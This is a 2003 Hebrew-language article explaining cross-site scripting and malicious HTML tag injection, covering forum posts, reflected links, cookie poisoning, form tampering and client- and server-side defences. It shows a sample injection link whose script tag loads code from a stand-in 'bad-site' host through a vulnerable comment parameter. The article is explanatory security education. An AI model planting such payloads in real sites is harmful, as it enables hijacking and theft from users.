גירסה 1.00 - 4.5.2003

תגי HTML זדוניים המשולבים בבקשות Web Clients

מסמך זה הורד מהאתר http://underwar.livedns.co.il.
אין להפיץ מסמך זה במדיה כלשהי, ללא אישור מפורש מאת המחבר.
מחבר המסמך איננו אחראי לכל נזק, ישיר או עקיף, שיגרם עקב השימוש במידע המופיע במסמך, וכן לנכונות התוכן של הנושאים המופיעים במסמך. עם זאת, המחבר עשה את מירב המאמצים כדי לספק את המידע המדויק והמלא ביותר.

Nir Adar
Email: underwar@hotmail.com
Home Page: http://underwar.livedns.co.il

אנא שלחו תיקונים והערות אל המחבר.

תגי HTML זדוניים המשולבים בבקשות Web Clients

כללי

כאשר שרת Web יוצר דפים באופן דינאמי מתעוררת בעיית אבטחה, בה אתר האינטרנט עשוי לכלול תגי HTML או סקריפטים כחלק מהדף.
בעיה זו נוצרת כאשר הדף הנוצר כולל מידע לא בדוק שהגיע ממקורות לא אמינים. הבעיה מתעוררת כאשר השרת לא בודק כי הדף המיוצר מקודד כראוי כדי למנוע ריצה של סקריפטים לא רצויים וכאשר השרת לא בודק את הקלט של המשתמש, לראות שהוא אינו כולל תגים לא רצויים.
בעיה זו ידועה כבר מספר שנים. עם זאת, כמעט כל האתרים הגדולים שקיימים כיום סובלים ממנה במידה זו או אחרת.

הבעיה

דפדפנים רבים מסוגלים לנתח סקריפטים המשולבים בדפי WEB. סקריפטים אלו יכולים להיכתב במגוון שפות והם מורצים על ידי הדפדפן של המשתמש. רוב הדפדפנים מאפשרים לנתח ולהריץ סקריפטים כברירת המחדל של ההתקנה שלהם.

ישנן מספר שיטות בהן תוקפים מסוגלים לנצל אפשרות זו.

קוד זדוני הנכתב על ידי לקוח אחד כנגד לקוח אחר

שיטה זו נפוצה באתרים כגון קבוצות דיון, פורומים.
ההתקפה הולכת כלהלן: התוקף, משתמש לגיטימי של קבוצת הדיון, משלב תגי HTML זדוניים בהודעה המפורסמת בפורום. הודעת התוקף יכולה להראות כך:

```
Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
```

כאשר הדפדפן של הקורבן קורא את ההודעה, הקוד הזדוני עלול לרוץ.

תגים הניתנים לשילוב בצורה זו כוללים את התגים <SCRIPT>, <OBJECT>, <APPLET>, <EMBED>.

הפתרון לבעיה זו הוא בדרך כלל על ידי השרת. מפתחי האתר צריכים לתכנת את השרת כך שיגלה את המידע הזדוני שנשלח על ידי התוקף, ויסרב לקבל אותו, או לחילופין יסנן אותו לפני שהמידע נשלח אל מבקרי האתר האחרים.

קוד שנשלח על ידי לקוח כנגד עצמו

אתרים רבים מתעלמים מהאפשרות שלקוח יישלח קוד זדוני שיפעל רק על הדפדפן שלו עצמו.
זוהי טעות נפוצה – אחרי הכל – למה שלקוח ירצה להוסיף קוד שיוכל לפגוע רק בו?

אם זאת, מקרה זה יכול לקרוא באופן הבא: הקורבן מבקר באתר כלשהו, ולוחץ שם על קישור.
הקישור יכול להיות קישור אל אתר אחר, ובו (בקישור) ייכלל הקוד הזדוני. הבקשה תגיע אל השרת השני, שיישלח אל הקורבן את הדף עם הקוד הזדוני, שירוץ על הדפדפן של הקורבן.

דוגמא אמיתית להתקפה כזו ניתן לראות במסמך אחר המפורסם תחת פרויקט UnderWarrior (http://underwar.livedns.co.il) – "בעיות אבטחה במערכת הפורומים YaBB".
כאשר המשתמש מקיש סיסמא שגויה בכניסה לפורומים השרת מחזיר לו את הסיסמא, ומודיע – הסיסמא שגויה. עם זאת, השרת איננו מסנן תגי HTML הנשלחים כחלק מהסיסמא. עובדה זו פותחת את הפתח להתקפה המתוארת במסמך. ההתקפה משלבת גם רעיונות שיוזכרו בסעיף "ניצול אמון" בהמשך מסמך זה.

ניצול תגים שונים למניעת הצגתו התקינה של הדף

התוקף יכול להשתמש בתגים שונים, כגון <FORM> או תגים אחרים, על מנת לשנות את התנהגותו של הדף – למשל – על ידי הוספת תמונות לא רצויות, צלילים, או אפילו מניעת הדף מלהיות מוצג.
בעזרת התג <FORM> תוקף יכול לשנות התנהגות של טפסים הקיימים בדף, כדי לגנוב או לשבש את הנתונים המועברים.

ניצול אמון

שיטה זו מסוגלת לפגוע גם בדפדפן וגם בשרת המותקף, אותו נכנה example.com.
שיטה זו מתבססת על ניצול האמון של הדפדפן, המניח כי הדף המגיע מהשרת הוא דף לגיטימי.
השיטה נעשית על ידי קישור המכיל קוד זדוני אל האתר הלגיטימי. הקישור יכלול הפניה אל אתר לא לגיטימי, בו תתבצע פעולה עם ההרשאות של האתר הלגיטימי example.com.
לדוגמא, קוד ההתקפה יכול להראות כך:

```
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>
```

נשים לב שמאפיין ה-SRC של תג ה-SCRIPT מפנה אל קוד של אתר לא לגיטימי (bad-site).
שיטה זו מכונה Cross-Site Scripting, והיא אחת משיטות ההתקפה הנפוצות ביותר.

סיכונים

כיצד יכול התוקף לנצל את השליטה שהוא משיג על הקורבן?

הקורבן מריץ ללא ידיעתו סקריפט שנכתב על ידי התוקף, על ידי כך שלחץ על קישור באתר לא מוכר, בהודעת Email או בפורום. הוא עשוי להריץ סקריפט שנכתב על ידי התוקף גם על ידי ביקור בפורום המייצר את הדפים שלו באופן דינאמי.

מכיוון שהסקריפטים רצים כחלק מהאתר אליו נכנס הקורבן, לתוקף יש גישה מלאה אל הדף שהלקוח קיבל. התוקף יכול לשלוח נתונים מהדף חזרה אל השרת. התוקף יכול לגרום לקורבן לשלוח אליו את המידע שהגיע אליו מהשרת.

רמת הגישה אותה משיג התוקף תלויה בטכנולוגיה בה הוא משתמש. אם ישתמש ב-Applets של Java, הוא לא יהיה מסוגל להגיע לשליטה רבה על הדפדפן, עקב ההגבלות המוטלות על יישומוני Java. שילוב JavaScript, למשל, ייתן לתוקף שליטה חזקה יותר על הדפדפן. התוקף יוכל לגרום למשתמש לשלוח מידע אל דפים אחרים השייכים לשרת הלגיטימי, ועוד.
אפילו אם הדפדפן של הקורבן לא תומך בסקריפטים ניתן לבצע התקפה. התוקף מסוגל לשנות את התנהגותו של הדף המגיע לקורבן ולשנות את הפעולה הנורמאלית שלו.

התוקף עלול לפרוץ לתקשורת מאובטחת – SSL

תגים יכולים להיות מוספים לפני שהתקשורת המאובטחת בין השרת ללקוח מתחילה. SSL מצפין את הנתונים ושולח אותם בקשר שנוצר. נתונים, הכוללים קוד זדוני, יכולים לעבור בשני כיווני התקשורת. למרות ש-SSL מונע ציתות לנתונים המועברים, הוא איננו מבצע פעולות כדי לבדוק את תקפות המידע העובר בקשר. קוד זדוני יכול להתחבר אל אתר אחר – ולהעביר לו מידע לגבי התקשורת. אם האתר האחר יהיה לא מאובטח, הלקוח עשוי לקבל התראה על הקשר הלא מאובטח המשתתף בתקשורת. התוקף יכול להתגבר על בעיה זו על ידי כך שהשרת אליו ישלחו הנתונים יהיה אף הוא שרת מאובטח.

התוקף עשוי לזהם את ה-Cookies של המשתמש

כאשר קוד זדוני רץ לכאורה מאתר מאושר, הוא עשוי לשנות את ה-cookies כך שההתקפה תימשך גם בפעמים הבאות בהן ייכנס הקורבן אל האתר.
אם האתר משנה את ה-cookie על סמך נתונים המגיעים בצורה דינאמית, התוקף עשוי לשמור קוד זדוני בתוך ה-cookie. בצורה כזו ההתקפה תמשיך להשפיע על הקורבן, גם אם הוא בעתיד יגיע אל האתר הלגיטימי מקישורים תקינים.

התוקף עשוי לחדור אל אזורים מוגבלים של אתרי אינטרנט אשר לקורבן יש גישה אליהם

על ידי הפניה אל כתובות זדוניות, התוקף יוכל להריץ סקריפטים אצל הקורבן, שייתנו לו גישה אל אזורים חסומים של השרת. התוקף עשוי להשיג גישה אל האתר אם הקורבן הוא משתמש חוקי של האתר ההוא. התקפה זו מסוכנת מכיוון שהתוקף אינו צריך להשתמש בכלים מיוחדים כדי לבצע אותה. כל שעליו לעשות הוא לזהות שרת פגיע, ולשכנע את הקורבן לבקר קישור, שיגרום לו לנצל פגיעות זו.

התוקף עשוי לשנות התנהגות של טפסים

התוקף יכול להיות מסוגל, תחת תנאים מסוימים, לשנות התנהגות של טפסים – לקבוע את הנתונים שיישלחו, ולעיתים אף לקבוע לאן הם יישלחו.

פתרונות לבעיה

פתרונות מצד המשתמש

המשתמש אינו יכול למנוע לחלוטין את הסיכונים. הוא יכול רק להפחית אותם ולצמצם את פגיעותו. זוהי אחריות מתכנתי השרת לחסום לחלוטין את הבעיה.

- המשתמש יכול לבטל הרצת סקריפטים בדפדפן שלו - זוהי השיטה המועילה ביותר על מנת לצמצם את הפגיעה מהתקפות מהסוג שתואר במסמך. על ידי ביטול הרצת הסקריפטים, כל ההתקפות המתבססות על כך שהקורבן יריץ סקריפט כלשהו ייכשלו. הגנה זו אינה יעילה לגמרי, מכיוון שהתוקף עדיין מסוגל לשנות את מראה הדף או את פעולתו של הדף המגיע אל הלקוח.
- המשתמש יכול להיזהר בבקרו אתרים חדשים ולא מוכרים – ניתן להימנע או לפחות להיזהר כאשר לוחצים על קישורים באתר לא מוכר. המשתמש צריך להבין שגם כאשר הוא לוחץ על קישור תמים באתר כלשהו הוא מסכן את עצמו. כאשר המשתמש רוצה לבקר בקישור, מומלץ שיעתיק את הקישור אל שורת הכתובת, וייכנס אליו ישירות, ולא על ידי לחיצה על הקישור. כך יוכל המשתמש להביט בכתובת אליה הוא עובר, ולראות שאיננה מכילה קוד מוסתר העלול להזיק לו.

פתרונות מצד השרת

הפתרון האמיתי לבעיה נתון בידי מתכנתי השרתים.

- מתכנתי השרתים צריכים לבדוק את הנתונים המשוגרים על ידי דפים דינאמיים, ולראות שאינם מכילים קוד זדוני.
- מתכנתי השרתים צריכים לדאוג שהנתונים הנקלטים מהמשתמשים יעברו בדיקה לפני שהם מוכנסים אל הדף.
- מנהלי שרתים צריכים לדאוג לעדכון התוכנות/החבילות בהם הם משתמשים. למשל – מנהלי שרתים רבים משתמשים במערכות פורומים מוכנות. על מנהלי השרתים להתעדכן כאשר יוצאים עדכונים לחבילות, המטפלים בבעיות אבטחה שהתגלו.

EOF